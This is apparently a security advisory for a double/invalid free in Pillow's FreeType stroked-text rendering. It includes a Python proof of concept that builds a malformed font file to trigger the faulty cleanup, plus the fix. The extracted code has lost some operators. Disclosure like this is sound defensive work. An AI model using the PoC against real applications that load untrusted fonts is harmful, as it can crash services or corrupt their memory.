GHSA-j4m9-6w36-pw47: Double Free

Summary When text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If FTLoadGlyph fails for a glyph, the cleanup path calls FTDoneGlyph on the glyph variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer.

Details glyph is declared without a NULL initializer:

- src/imagingft.c:848

The first measurement loop can jump to glypherror before glyph is ever assigned:

- src/imagingft.c:1010-1013

In the render loop the glyph is freed at the end of each iteration and not set back to NULL:

- src/imagingft.c:1242

The cleanup frees it whenever a stroker exists:

- src/imagingft.c:1253-1256

ImageFont.truetype accepts a file object or bytes, so the font is attacker-suppliable.

PoC This needs fontTools and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph "A" to claim 5000 contours in a glyph body far too short for them, so FTLoadGlyph returns an error while the face still opens.

python import struct from fontTools.ttLib import TTFont from PIL import Image, ImageFont, ImageDraw

SRC = "Tests/fonts/FreeMono.ttf" # any TTF works as a base tt = TTFont(SRC) gid = tt.getGlyphID(tt.getBestCmap()[ord("A")]) localong = tt["head"].indexToLocFormat tt.close()

raw = bytearray(open(SRC, "rb").read()) nt = struct.unpack(">H", raw[4:6])[0] tbl = {} for i in range(nt): rec = 12 + i 16 tag = bytes(raw[rec:rec+4]).decode("latin-1") off, length = struct.unpack(">II", raw[rec+8:rec+16]) tbl[tag] = (off, length) glyfoff = tbl["glyf"][0]; locaoff = tbl["loca"][0] if localong: o0 = struct.unpackfrom(">I", raw, locaoff + 4gid)[0] else: o0 = struct.unpackfrom(">H", raw, locaoff + 2gid)[0] 2 struct.packinto(">h", raw, glyfoff + o0, 5000) # numberOfContours = 5000 open("evil.ttf", "wb").write(raw)

f = ImageFont.truetype("evil.ttf", 20) # face opens d = ImageDraw.Draw(Image.new("RGB", (64, 64))) d.text((0, 0), "A", font=f, strokewidth=2) # load error -> FTDoneGlyph on bad pointer

Result on the pinned build: FTLoadGlyph returns an error and execution reaches the glypherror cleanup that calls FTDoneGlyph(glyph) (the plugin surfaces OSError: invalid outline).

Impact Applications that draw text with strokewidth != 0 using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize glyph = NULL and set it back to NULL after each FTDoneGlyph.